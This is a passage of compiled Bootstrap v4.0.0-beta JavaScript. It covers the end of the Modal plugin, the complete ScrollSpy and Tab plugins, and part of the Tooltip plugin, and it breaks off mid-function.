ClassName.SCROLLBAR_MEASURER;\n      document.body.appendChild(scrollDiv);\n      var scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;\n      document.body.removeChild(scrollDiv);\n      return scrollbarWidth;\n    };\n\n    // static\n\n    Modal._jQueryInterface = function _jQueryInterface(config, relatedTarget) {\n      return this.each(function () {\n        var data = $(this).data(DATA_KEY);\n        var _config = $.extend({}, Modal.Default, $(this).data(), (typeof config === 'undefined' ? 'undefined' : _typeof(config)) === 'object' && config);\n\n        if (!data) {\n          data = new Modal(this, _config);\n          $(this).data(DATA_KEY, data);\n        }\n\n        if (typeof config === 'string') {\n          if (data[config] === undefined) {\n            throw new Error('No method named \"' + config + '\"');\n          }\n          data[config](relatedTarget);\n        } else if (_config.show) {\n          data.show(relatedTarget);\n        }\n      });\n    };\n\n    _createClass(Modal, null, [{\n      key: 'VERSION',\n      get: function get() {\n        return VERSION;\n      }\n    }, {\n      key: 'Default',\n      get: function get() {\n        return Default;\n      }\n    }]);\n\n    return Modal;\n  }();\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n    var _this19 = this;\n\n    var target = void 0;\n    var selector = Util.getSelectorFromElement(this);\n\n    if (selector) {\n      target = $(selector)[0];\n    }\n\n    var config = $(target).data(DATA_KEY) ? 'toggle' : $.extend({}, $(target).data(), $(this).data());\n\n    if (this.tagName === 'A' || this.tagName === 'AREA') {\n      event.preventDefault();\n    }\n\n    var $target = $(target).one(Event.SHOW, function (showEvent) {\n      if (showEvent.isDefaultPrevented()) {\n        // only register focus restorer if modal will actually get shown\n        return;\n      }\n\n      $target.one(Event.HIDDEN, function () {\n        if ($(_this19).is(':visible')) {\n          _this19.focus();\n        }\n      });\n    });\n\n    Modal._jQueryInterface.call($(target), config, this);\n  });\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Modal._jQueryInterface;\n  $.fn[NAME].Constructor = Modal;\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT;\n    return Modal._jQueryInterface;\n  };\n\n  return Modal;\n}(jQuery);\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0-beta): scrollspy.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nvar ScrollSpy = function ($) {\n\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  var NAME = 'scrollspy';\n  var VERSION = '4.0.0-beta';\n  var DATA_KEY = 'bs.scrollspy';\n  var EVENT_KEY = '.' + DATA_KEY;\n  var DATA_API_KEY = '.data-api';\n  var JQUERY_NO_CONFLICT = $.fn[NAME];\n\n  var Default = {\n    offset: 10,\n    method: 'auto',\n    target: ''\n  };\n\n  var DefaultType = {\n    offset: 'number',\n    method: 'string',\n    target: '(string|element)'\n  };\n\n  var Event = {\n    ACTIVATE: 'activate' + EVENT_KEY,\n    SCROLL: 'scroll' + EVENT_KEY,\n    LOAD_DATA_API: 'load' + EVENT_KEY + DATA_API_KEY\n  };\n\n  var ClassName = {\n    DROPDOWN_ITEM: 'dropdown-item',\n    DROPDOWN_MENU: 'dropdown-menu',\n    ACTIVE: 'active'\n  };\n\n  var Selector = {\n    DATA_SPY: '[data-spy=\"scroll\"]',\n    ACTIVE: '.active',\n    NAV_LIST_GROUP: '.nav, .list-group',\n    NAV_LINKS: '.nav-link',\n    LIST_ITEMS: '.list-group-item',\n    DROPDOWN: '.dropdown',\n    DROPDOWN_ITEMS: '.dropdown-item',\n    DROPDOWN_TOGGLE: '.dropdown-toggle'\n  };\n\n  var OffsetMethod = {\n    OFFSET: 'offset',\n    POSITION: 'position'\n\n    /**\n     * ------------------------------------------------------------------------\n     * Class Definition\n     * ------------------------------------------------------------------------\n     */\n\n  };\n  var ScrollSpy = function () {\n    function ScrollSpy(element, config) {\n      var _this20 = this;\n\n      _classCallCheck(this, ScrollSpy);\n\n      this._element = element;\n      this._scrollElement = element.tagName === 'BODY' ? window : element;\n      this._config = this._getConfig(config);\n      this._selector = this._config.target + ' ' + Selector.NAV_LINKS + ',' + (this._config.target + ' ' + Selector.LIST_ITEMS + ',') + (this._config.target + ' ' + Selector.DROPDOWN_ITEMS);\n      this._offsets = [];\n      this._targets = [];\n      this._activeTarget = null;\n      this._scrollHeight = 0;\n\n      $(this._scrollElement).on(Event.SCROLL, function (event) {\n        return _this20._process(event);\n      });\n\n      this.refresh();\n      this._process();\n    }\n\n    // getters\n\n    // public\n\n    ScrollSpy.prototype.refresh = function refresh() {\n      var _this21 = this;\n\n      var autoMethod = this._scrollElement !== this._scrollElement.window ? OffsetMethod.POSITION : OffsetMethod.OFFSET;\n\n      var offsetMethod = this._config.method === 'auto' ? autoMethod : this._config.method;\n\n      var offsetBase = offsetMethod === OffsetMethod.POSITION ? this._getScrollTop() : 0;\n\n      this._offsets = [];\n      this._targets = [];\n\n      this._scrollHeight = this._getScrollHeight();\n\n      var targets = $.makeArray($(this._selector));\n\n      targets.map(function (element) {\n        var target = void 0;\n        var targetSelector = Util.getSelectorFromElement(element);\n\n        if (targetSelector) {\n          target = $(targetSelector)[0];\n        }\n\n        if (target) {\n          var targetBCR = target.getBoundingClientRect();\n          if (targetBCR.width || targetBCR.height) {\n            // todo (fat): remove sketch reliance on jQuery position/offset\n            return [$(target)[offsetMethod]().top + offsetBase, targetSelector];\n          }\n        }\n        return null;\n      }).filter(function (item) {\n        return item;\n      }).sort(function (a, b) {\n        return a[0] - b[0];\n      }).forEach(function (item) {\n        _this21._offsets.push(item[0]);\n        _this21._targets.push(item[1]);\n      });\n    };\n\n    ScrollSpy.prototype.dispose = function dispose() {\n      $.removeData(this._element, DATA_KEY);\n      $(this._scrollElement).off(EVENT_KEY);\n\n      this._element = null;\n      this._scrollElement = null;\n      this._config = null;\n      this._selector = null;\n      this._offsets = null;\n      this._targets = null;\n      this._activeTarget = null;\n      this._scrollHeight = null;\n    };\n\n    // private\n\n    ScrollSpy.prototype._getConfig = function _getConfig(config) {\n      config = $.extend({}, Default, config);\n\n      if (typeof config.target !== 'string') {\n        var id = $(config.target).attr('id');\n        if (!id) {\n          id = Util.getUID(NAME);\n          $(config.target).attr('id', id);\n        }\n        config.target = '#' + id;\n      }\n\n      Util.typeCheckConfig(NAME, config, DefaultType);\n\n      return config;\n    };\n\n    ScrollSpy.prototype._getScrollTop = function _getScrollTop() {\n      return this._scrollElement === window ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop;\n    };\n\n    ScrollSpy.prototype._getScrollHeight = function _getScrollHeight() {\n      return this._scrollElement.scrollHeight || Math.max(document.body.scrollHeight, document.documentElement.scrollHeight);\n    };\n\n    ScrollSpy.prototype._getOffsetHeight = function _getOffsetHeight() {\n      return this._scrollElement === window ? window.innerHeight : this._scrollElement.getBoundingClientRect().height;\n    };\n\n    ScrollSpy.prototype._process = function _process() {\n      var scrollTop = this._getScrollTop() + this._config.offset;\n      var scrollHeight = this._getScrollHeight();\n      var maxScroll = this._config.offset + scrollHeight - this._getOffsetHeight();\n\n      if (this._scrollHeight !== scrollHeight) {\n        this.refresh();\n      }\n\n      if (scrollTop >= maxScroll) {\n        var target = this._targets[this._targets.length - 1];\n\n        if (this._activeTarget !== target) {\n          this._activate(target);\n        }\n        return;\n      }\n\n      if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {\n        this._activeTarget = null;\n        this._clear();\n        return;\n      }\n\n      for (var i = this._offsets.length; i--;) {\n        var isActiveTarget = this._activeTarget !== this._targets[i] && scrollTop >= this._offsets[i] && (this._offsets[i + 1] === undefined || scrollTop < this._offsets[i + 1]);\n\n        if (isActiveTarget) {\n          this._activate(this._targets[i]);\n        }\n      }\n    };\n\n    ScrollSpy.prototype._activate = function _activate(target) {\n      this._activeTarget = target;\n\n      this._clear();\n\n      var queries = this._selector.split(',');\n      queries = queries.map(function (selector) {\n        return selector + '[data-target=\"' + target + '\"],' + (selector + '[href=\"' + target + '\"]');\n      });\n\n      var $link = $(queries.join(','));\n\n      if ($link.hasClass(ClassName.DROPDOWN_ITEM)) {\n        $link.closest(Selector.DROPDOWN).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE);\n        $link.addClass(ClassName.ACTIVE);\n      } else {\n        // Set triggered link as active\n        $link.addClass(ClassName.ACTIVE);\n        // Set triggered links parents as active\n        // With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor\n        $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_LINKS + ', ' + Selector.LIST_ITEMS).addClass(ClassName.ACTIVE);\n      }\n\n      $(this._scrollElement).trigger(Event.ACTIVATE, {\n        relatedTarget: target\n      });\n    };\n\n    ScrollSpy.prototype._clear = function _clear() {\n      $(this._selector).filter(Selector.ACTIVE).removeClass(ClassName.ACTIVE);\n    };\n\n    // static\n\n    ScrollSpy._jQueryInterface = function _jQueryInterface(config) {\n      return this.each(function () {\n        var data = $(this).data(DATA_KEY);\n        var _config = (typeof config === 'undefined' ? 'undefined' : _typeof(config)) === 'object' && config;\n\n        if (!data) {\n          data = new ScrollSpy(this, _config);\n          $(this).data(DATA_KEY, data);\n        }\n\n        if (typeof config === 'string') {\n          if (data[config] === undefined) {\n            throw new Error('No method named \"' + config + '\"');\n          }\n          data[config]();\n        }\n      });\n    };\n\n    _createClass(ScrollSpy, null, [{\n      key: 'VERSION',\n      get: function get() {\n        return VERSION;\n      }\n    }, {\n      key: 'Default',\n      get: function get() {\n        return Default;\n      }\n    }]);\n\n    return ScrollSpy;\n  }();\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(window).on(Event.LOAD_DATA_API, function () {\n    var scrollSpys = $.makeArray($(Selector.DATA_SPY));\n\n    for (var i = scrollSpys.length; i--;) {\n      var $spy = $(scrollSpys[i]);\n      ScrollSpy._jQueryInterface.call($spy, $spy.data());\n    }\n  });\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = ScrollSpy._jQueryInterface;\n  $.fn[NAME].Constructor = ScrollSpy;\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT;\n    return ScrollSpy._jQueryInterface;\n  };\n\n  return ScrollSpy;\n}(jQuery);\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0-beta): tab.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nvar Tab = function ($) {\n\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  var NAME = 'tab';\n  var VERSION = '4.0.0-beta';\n  var DATA_KEY = 'bs.tab';\n  var EVENT_KEY = '.' + DATA_KEY;\n  var DATA_API_KEY = '.data-api';\n  var JQUERY_NO_CONFLICT = $.fn[NAME];\n  var TRANSITION_DURATION = 150;\n\n  var Event = {\n    HIDE: 'hide' + EVENT_KEY,\n    HIDDEN: 'hidden' + EVENT_KEY,\n    SHOW: 'show' + EVENT_KEY,\n    SHOWN: 'shown' + EVENT_KEY,\n    CLICK_DATA_API: 'click' + EVENT_KEY + DATA_API_KEY\n  };\n\n  var ClassName = {\n    DROPDOWN_MENU: 'dropdown-menu',\n    ACTIVE: 'active',\n    DISABLED: 'disabled',\n    FADE: 'fade',\n    SHOW: 'show'\n  };\n\n  var Selector = {\n    DROPDOWN: '.dropdown',\n    NAV_LIST_GROUP: '.nav, .list-group',\n    ACTIVE: '.active',\n    DATA_TOGGLE: '[data-toggle=\"tab\"], [data-toggle=\"pill\"], [data-toggle=\"list\"]',\n    DROPDOWN_TOGGLE: '.dropdown-toggle',\n    DROPDOWN_ACTIVE_CHILD: '> .dropdown-menu .active'\n\n    /**\n     * ------------------------------------------------------------------------\n     * Class Definition\n     * ------------------------------------------------------------------------\n     */\n\n  };\n  var Tab = function () {\n    function Tab(element) {\n      _classCallCheck(this, Tab);\n\n      this._element = element;\n    }\n\n    // getters\n\n    // public\n\n    Tab.prototype.show = function show() {\n      var _this22 = this;\n\n      if (this._element.parentNode && this._element.parentNode.nodeType === Node.ELEMENT_NODE && $(this._element).hasClass(ClassName.ACTIVE) || $(this._element).hasClass(ClassName.DISABLED)) {\n        return;\n      }\n\n      var target = void 0;\n      var previous = void 0;\n      var listElement = $(this._element).closest(Selector.NAV_LIST_GROUP)[0];\n      var selector = Util.getSelectorFromElement(this._element);\n\n      if (listElement) {\n        previous = $.makeArray($(listElement).find(Selector.ACTIVE));\n        previous = previous[previous.length - 1];\n      }\n\n      var hideEvent = $.Event(Event.HIDE, {\n        relatedTarget: this._element\n      });\n\n      var showEvent = $.Event(Event.SHOW, {\n        relatedTarget: previous\n      });\n\n      if (previous) {\n        $(previous).trigger(hideEvent);\n      }\n\n      $(this._element).trigger(showEvent);\n\n      if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) {\n        return;\n      }\n\n      if (selector) {\n        target = $(selector)[0];\n      }\n\n      this._activate(this._element, listElement);\n\n      var complete = function complete() {\n        var hiddenEvent = $.Event(Event.HIDDEN, {\n          relatedTarget: _this22._element\n        });\n\n        var shownEvent = $.Event(Event.SHOWN, {\n          relatedTarget: previous\n        });\n\n        $(previous).trigger(hiddenEvent);\n        $(_this22._element).trigger(shownEvent);\n      };\n\n      if (target) {\n        this._activate(target, target.parentNode, complete);\n      } else {\n        complete();\n      }\n    };\n\n    Tab.prototype.dispose = function dispose() {\n      $.removeData(this._element, DATA_KEY);\n      this._element = null;\n    };\n\n    // private\n\n    Tab.prototype._activate = function _activate(element, container, callback) {\n      var _this23 = this;\n\n      var active = $(container).find(Selector.ACTIVE)[0];\n      var isTransitioning = callback && Util.supportsTransitionEnd() && active && $(active).hasClass(ClassName.FADE);\n\n      var complete = function complete() {\n        return _this23._transitionComplete(element, active, isTransitioning, callback);\n      };\n\n      if (active && isTransitioning) {\n        $(active).one(Util.TRANSITION_END, complete).emulateTransitionEnd(TRANSITION_DURATION);\n      } else {\n        complete();\n      }\n\n      if (active) {\n        $(active).removeClass(ClassName.SHOW);\n      }\n    };\n\n    Tab.prototype._transitionComplete = function _transitionComplete(element, active, isTransitioning, callback) {\n      if (active) {\n        $(active).removeClass(ClassName.ACTIVE);\n\n        var dropdownChild = $(active.parentNode).find(Selector.DROPDOWN_ACTIVE_CHILD)[0];\n\n        if (dropdownChild) {\n          $(dropdownChild).removeClass(ClassName.ACTIVE);\n        }\n\n        active.setAttribute('aria-expanded', false);\n      }\n\n      $(element).addClass(ClassName.ACTIVE);\n      element.setAttribute('aria-expanded', true);\n\n      if (isTransitioning) {\n        Util.reflow(element);\n        $(element).addClass(ClassName.SHOW);\n      } else {\n        $(element).removeClass(ClassName.FADE);\n      }\n\n      if (element.parentNode && $(element.parentNode).hasClass(ClassName.DROPDOWN_MENU)) {\n\n        var dropdownElement = $(element).closest(Selector.DROPDOWN)[0];\n        if (dropdownElement) {\n          $(dropdownElement).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE);\n        }\n\n        element.setAttribute('aria-expanded', true);\n      }\n\n      if (callback) {\n        callback();\n      }\n    };\n\n    // static\n\n    Tab._jQueryInterface = function _jQueryInterface(config) {\n      return this.each(function () {\n        var $this = $(this);\n        var data = $this.data(DATA_KEY);\n\n        if (!data) {\n          data = new Tab(this);\n          $this.data(DATA_KEY, data);\n        }\n\n        if (typeof config === 'string') {\n          if (data[config] === undefined) {\n            throw new Error('No method named \"' + config + '\"');\n          }\n          data[config]();\n        }\n      });\n    };\n\n    _createClass(Tab, null, [{\n      key: 'VERSION',\n      get: function get() {\n        return VERSION;\n      }\n    }]);\n\n    return Tab;\n  }();\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n    event.preventDefault();\n    Tab._jQueryInterface.call($(this), 'show');\n  });\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Tab._jQueryInterface;\n  $.fn[NAME].Constructor = Tab;\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT;\n    return Tab._jQueryInterface;\n  };\n\n  return Tab;\n}(jQuery);\n\n/* global Popper */\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0-beta): tooltip.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nvar Tooltip = function ($) {\n\n  /**\n   * Check for Popper dependency\n   * Popper - https://popper.js.org\n   */\n  if (typeof Popper === 'undefined') {\n    throw new Error('Bootstrap tooltips require Popper.js (https://popper.js.org)');\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  var NAME = 'tooltip';\n  var VERSION = '4.0.0-beta';\n  var DATA_KEY = 'bs.tooltip';\n  var EVENT_KEY = '.' + DATA_KEY;\n  var JQUERY_NO_CONFLICT = $.fn[NAME];\n  var TRANSITION_DURATION = 150;\n  var CLASS_PREFIX = 'bs-tooltip';\n  var BSCLS_PREFIX_REGEX = new RegExp('(^|\\\\s)' + CLASS_PREFIX + '\\\\S+', 'g');\n\n  var DefaultType = {\n    animation: 'boolean',\n    template: 'string',\n    title: '(string|element|function)',\n    trigger: 'string',\n    delay: '(number|object)',\n    html: 'boolean',\n    selector: '(string|boolean)',\n    placement: '(string|function)',\n    offset: '(number|string)',\n    container: '(string|element|boolean)',\n    fallbackPlacement: '(string|array)'\n  };\n\n  var AttachmentMap = {\n    AUTO: 'auto',\n    TOP: 'top',\n    RIGHT: 'right',\n    BOTTOM: 'bottom',\n    LEFT: 'left'\n  };\n\n  var Default = {\n    animation: true,\n    template: '<div class=\"tooltip\" role=\"tooltip\">' + '<div class=\"arrow\"></div>' + '<div class=\"tooltip-inner\"></div></div>',\n    trigger: 'hover focus',\n    title: '',\n    delay: 0,\n    html: false,\n    selector: false,\n    placement: 'top',\n    offset: 0,\n    container: false,\n    fallbackPlacement: 'flip'\n  };\n\n  var HoverState = {\n    SHOW: 'show',\n    OUT: 'out'\n  };\n\n  var Event = {\n    HIDE: 'hide' + EVENT_KEY,\n    HIDDEN: 'hidden' + EVENT_KEY,\n    SHOW: 'show' + EVENT_KEY,\n    SHOWN: 'shown' + EVENT_KEY,\n    INSERTED: 'inserted' + EVENT_KEY,\n    CLICK: 'click' + EVENT_KEY,\n    FOCUSIN: 'focusin' + EVENT_KEY,\n    FOCUSOUT: 'focusout' + EVENT_KEY,\n    MOUSEENTER: 'mouseenter' + EVENT_KEY,\n    MOUSELEAVE: 'mouseleave' + EVENT_KEY\n  };\n\n  var ClassName = {\n    FADE: 'fade',\n    SHOW: 'show'\n  };\n\n  var Selector = {\n    TOOLTIP: '.tooltip',\n    TOOLTIP_INNER: '.tooltip-inner',\n    ARROW: '.arrow'\n  };\n\n  var Trigger = {\n    HOVER: 'hover',\n    FOCUS: 'focus',\n    CLICK: 'click',\n    MANUAL: 'manual'\n\n    /**\n     * ------------------------------------------------------------------------\n     * Class Definition\n     * ------------------------------------------------------------------------\n     */\n\n  };\n  var Tooltip = function () {\n    function Tooltip(element, config) {\n      _classCallCheck(this, Tooltip);\n\n      // private\n      this._isEnabled = true;\n      this._timeout = 0;\n      this._hoverState = '';\n      this._activeTrigger = {};\n      this._popper = null;\n\n      // protected\n      this.element = element;\n      this.config = this._getConfig(config);\n      this.tip = null;\n\n      this._setListeners();\n    }\n\n    // getters\n\n    // public\n\n    Tooltip.prototype.enable = function enable() {\n      this._isEnabled = true;\n    };\n\n    Tooltip.prototype.disable = function disable() {\n      this._isEnabled = false;\n    };\n\n    Tooltip.prototype.toggleEnabled = function toggleEnabled() {\n      this._isEnabled = !this._isEnabled;\n    };\n\n    Tooltip.prototype.toggle = function toggle(event) {\n      if (event) {\n        var dataKey = this.constructor.DATA_KEY;\n        var context = $(event.currentTarget).data(dataKey);\n\n        if (!context) {\n          context = new this.constructor(event.currentTarget, this._getDelegateConfig());\n          $(event.currentTarget).data(dataKey, context);\n        }\n\n        context._activeTrigger.click = !context._activeTrigger.click;\n\n        if (context._isWithActiveTrigger()) {\n          context._enter(null, context);\n        } else {\n          context._leave(null, context);\n        }\n      } else {\n\n        if ($(this.getTipElement()).hasClass(ClassName.SHOW)) {\n          this._leave(null, this);\n          return;\n        }\n\n        this._enter(null, this);\n      }\n    };\n\n    Tooltip.prototype.dispose = function dispose() {\n      clearTimeout(this._timeout);\n\n      $.removeData(this.element, this.constructor.DATA_KEY);\n\n      $(this.element).off(this.constructor.EVENT_KEY);\n      $(this.element).closest('.modal').off('hide.bs.modal');\n\n      if (this.tip) {\n        $(this.tip).remove();\n      }\n\n      this._isEnabled = null;\n      this._timeout = null;\n      this._hoverState = null;\n      this._activeTrigger = null;\n      if (this._popper !== null) {\n        this._popper.destroy();\n      }\n      this._popper = null;\n\n      this.element = null;\n      this.config = null;\n      this.tip = null;\n    };\n\n    Tooltip.prototype.show = function show() {\n      var _this24 = this;\n\n      if ($(this.element).css('display') === 'none') {\n        throw new Error('Please use show on visible elements');\n      }\n\n      var showEvent = $.Event(this.constructor.Event.SHOW);\n      if (this.isWithContent() && this._isEnabled) {\n        $(this.element).trigger(showEvent);\n\n        var isInTheDom = $.contains(this.element.ownerDocument.documentElement, this.element);\n\n        if (showEvent.isDefaultPrevented() || !isInTheDom) {\n          return;\n        }\n\n        var tip = this.getTipElement();\n        var tipId = Util.getUID(this.constructor.NAME);\n\n        tip.setAttribute('id', tipId);\n        this.element.setAttribute('aria-describedby', tipId);\n\n        this.setContent();\n\n        if (this.config.animation) {\n          $(tip).addClass(ClassName.FADE);\n        }\n\n        var placement = typeof this.config.placement === 'function' ? this.config.placement.call(this, tip, this.element) : this.config.placement;\n\n        var attachment = this._getAttachment(placement);\n        this.addAttachmentClass(attachment);\n\n        var container = this.config.container === false ? document.body : $(this.config.container);\n\n        $(tip).data(this.constructor.DATA_KEY, this);\n\n        if (!$.contains(this.element.ownerDocument.documentElement, this.tip)) {\n          $(tip).appendTo(container);\n        }\n\n        $(this.element).trigger(this.constructor.Event.INSERTED);\n\n        this._popper = new Popper(this.element, tip, {\n          placement: attachment,\n          modifiers: {\n            offset: {\n              offset: this.config.offset\n            },\n            flip: {\n              behavior: this.config.fallbackPlacement\n            },\n            arrow: {\n              element: Selector.ARROW\n            }\n          },\n          onCreate: function onCreate(data) {\n            if (data.originalPlacement !== data.placement) {\n              _this24._handlePopperPlacementChange(data);\n            }\n          },\n          onUpdate: function onUpdate(data) {\n            _this24._handlePopperPlacementChange(data);\n          }\n        });\n\n        $(tip).addClass(ClassName.SHOW);\n\n        // if this is a touch-enabled device we add extra\n        // empty mouseover listeners to the body's immediate children;\n        // only needed because of broken event delegation on iOS\n        // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n        if ('ontouchstart' in document.documentElement) {\n          $('body').children().on('mouseover', null, $.noop);\n        }\n\n        var complete = function complete() {\n          if (_this24.config.animation) {\n            _this24._fixTransition();\n          }\n          var prevHoverState = _this24._hoverState;\n          _this24._hoverState = null;\n\n          $(_this24.element).trigger(_this24.constructor.Event.SHOWN);\n\n          if (prevHoverState === HoverState.OUT) {\n            _this24._leave(null, _this24);\n          }\n        };\n\n        if (Util.supportsTransitionEnd() && $(this.tip).hasClass(ClassName.FADE)) {\n          $(this.tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(Tooltip._TRANSITION_DURATION);\n        } else {\n          complete();\n        }\n      }\n    };\n\n    Tooltip.prototype.hide = function hide(callback) {\n      var _this25 = this;\n\n      var tip = this.getTipElement();\n      var hideEvent = $.Event(this.constructor.Event.HIDE);\n      var complete = function complete() {\n        if (_this25._hoverState !== HoverState.SHOW && tip.parentNode) {\n          tip.parentNode.removeChild(tip);\n        }\n\n        _this25._cleanTipClass();\n        _this25.element.removeAttribute('aria-describedby');\n        $(_this25.element).trigger(_this25.constructor.Event.HIDDEN);\n        if (_this25._popper !== null) {\n          _this25._popper.destroy();\n        }\n\n        if (callback) {\n          callback();\n        }\n      };\n\n      $(this.element).trigger(hideEvent);\n\n      if (hideEvent.isDefaultPrevented()) {\n        return;\n      }\n\n      $(tip).removeClass(ClassName.SHOW);\n\n      // if this is a touch-enabled device we remove the extra\n      // empty mouseover listeners we added for iOS support\n      if ('ontouchstart' in document.documentElement) {\n        $('body').children().off('mouseover', null, $.noop);\n      }\n\n      this._activeTrigger[Trigger.CLICK] = false;\n      this._activeTrigger[Trigger.FOCUS] = false;\n      this._activeTrigger[Trigger.HOVER] = false;\n\n      if (Util.supportsTransitionEnd() && $(this.tip).hasClass(ClassName.FADE)) {\n\n        $(tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(TRANSITION_DURATION);\n      } else {\n        complete();\n      }\n\n      this._hoverState = '';\n    };\n\n    Tooltip.prototype.update = function update() {\n      if (this._popper !== null) {\n        this._popper.scheduleUpdate();\n      }\n    };\n\n    // protected\n\n    Tooltip.prototype.isWithContent = function isWithContent() {\n      return Boolean(this.getTitle());\n    };\n\n    Tooltip.prototype.addAttachmentClass = function addAttachmentClass(attachment) {\n      $(this.getTipElement()).addClass(CLASS_PREFIX + '-' + attachment);\n    };\n\n    Tooltip.prototype.getTipElement = function getTipElement() {\n      return this.tip = this.tip || $(this.config.template)[0];\n    };\n\n    Tooltip.prototype.setContent = function setContent() {\n      var $tip = $(this.getTipElement());\n      this.setElementContent($tip.find(Selector.TOOLTIP_INNER), this.getTitle());\n      $tip.removeClass(ClassName.FADE + ' ' + ClassName.SHOW);\n    };\n\n    Tooltip.prototype.setElementContent = function setElementContent($element, content) {\n      var html = this.config.html;\n      if ((typeof content === 'undefined' ? 'undefined' : _typeof(content)) === 'object' && (content.nodeType || content.jquery)) {\n        // content is a DOM node or a jQuery\n        if (html) {\n          if (!$(content).parent().is($element)) {\n            $element.empty().append(content);\n          }\n        } else {\n          $element.text($(content).text());\n        }\n      } else {\n        $element[html ? 'html' : 'text'](content);\n      }\n    };\n\n    Tooltip.prototype.getTitle = function getTitle() {\n      var title = this.element.getAttribute('data-original-title');\n\n      if (!title) {\n        title = typeof this.config.title === 'function' ? this.config.title.call(this.element) : this.config.title;\n      }\n\n      return title;\n    };\n\n    // private\n\n    Tooltip.prototype._getAttachment = function _getAttachment(placement) {\n      return AttachmentMap[placement.toUpperCase()];\n    };\n\n    Tooltip.prototype._setListeners = function _setListeners() {\n      var _this26 = this;\n\n      var triggers = this.config.trigger.split(' ');\n\n      triggers.forEach(function (trigger) {\n        if (trigger === 'click') {\n          $(_this26.element).on(_this26.constructor.Event.CLICK, _this26.config.selector, function (event) {\n            return _this26.toggle(event);\n          });\n        } else if (trigger !== Trigger.MANUAL) {\n          var eventIn = trigger === Trigger.HOVER ? _this26.constructor.Event.MOUSEENTER : _this26.constructor.Event.FOCUSIN;\n          var eventOut = trigger === Trigger.HOVER ? _this26.constructor.Event.MOUSELEAVE : _this26.constructor.Event.FOCUSOUT;\n\n          $(_this26.element).on(eventIn, _this26.config.selector, function (event) {\n            return _this26._enter(event);\n          }).on(eventOut, _this26.config.selector, function (event) {\n            return _this26._leave(event);\n          });\n        }\n\n        $(_this26.element).closest('.modal').on('hide.bs.modal', function () {\n          return _this26.hide();\n        });\n      });\n\n      if (this.config.selector) {\n        this.config = $.extend({}, this.config, {\n          trigger: 'manual',\n          selector: ''\n        });\n      } else {\n        this._fixTitle();\n      }\n    };\n\n    Tooltip.prototype._fixTitle = function _fixTitle() {\n      var titleType = _typeof(this.element.getAttribute('data-original-title'));\n      if (this.element.getAttribute('title') || titleType !== 'string') {\n        this.element.setAttribute('data-original-title', this.element.getAttribute('title') || '');\n        this.element.setAttribute('title', '');\n      }\n    };\n\n    Tooltip.prototype._enter = function _enter(event, context) {\n      var dataKey = this.constructor.DATA_KEY;\n\n      context = context || $(event.currentTarget).data(dataKey);\n\n      if (!context) {\n        context = new this.constructor(event.currentTarget, this._getDelegateConfig());\n        $(event.currentTarget).data(dataKey, context);\n      }\n\n      if (event) {\n        context._activeTrigger[event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER] = true;\n      }\n\n      if ($(context.getTipElement()).hasClass(ClassName.SHOW) || context._hoverState === HoverState.SHOW) {\n        context._hoverState = HoverState.SHOW;\n        return;\n      }\n\n      clearTimeout(context._timeout);\n\n      context._hoverState = HoverState.SHOW;\n\n      if (!context.config.delay || !context.config.delay.show) {\n        context.show();\n        return;\n      }\n\n      context._timeout = setTimeout(function () {\n        if (context._hoverState === HoverState.SHOW) {\n          context.show();\n        }\n      }, context.config.delay.show);\n    };\n\n    Tooltip.prototype._leave = function _leave(event, context) {\n      var dataKey = this.constructor.DATA_KEY;\n\n      context = context || $(event.currentTarget).data(dataKey);\n\n      if (!context) {\n        context = new this.constructor(event.currentTarget, this._getDelegateConfig());\n        $(event.currentTarget).data(dataKey, context);\n      }\n\n      if (event) {\n        context._activeTrigger[event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER] = false;\n      }\n\n      if (context._isWithActiveTrigger()) {\n        return;\n      }\n\n      clearTimeout(context._timeout);\n\n      context._hoverState = HoverState.OUT;\n\n      if (!context.config.delay || !context.config.delay.hide) {\n        context.hide();\n        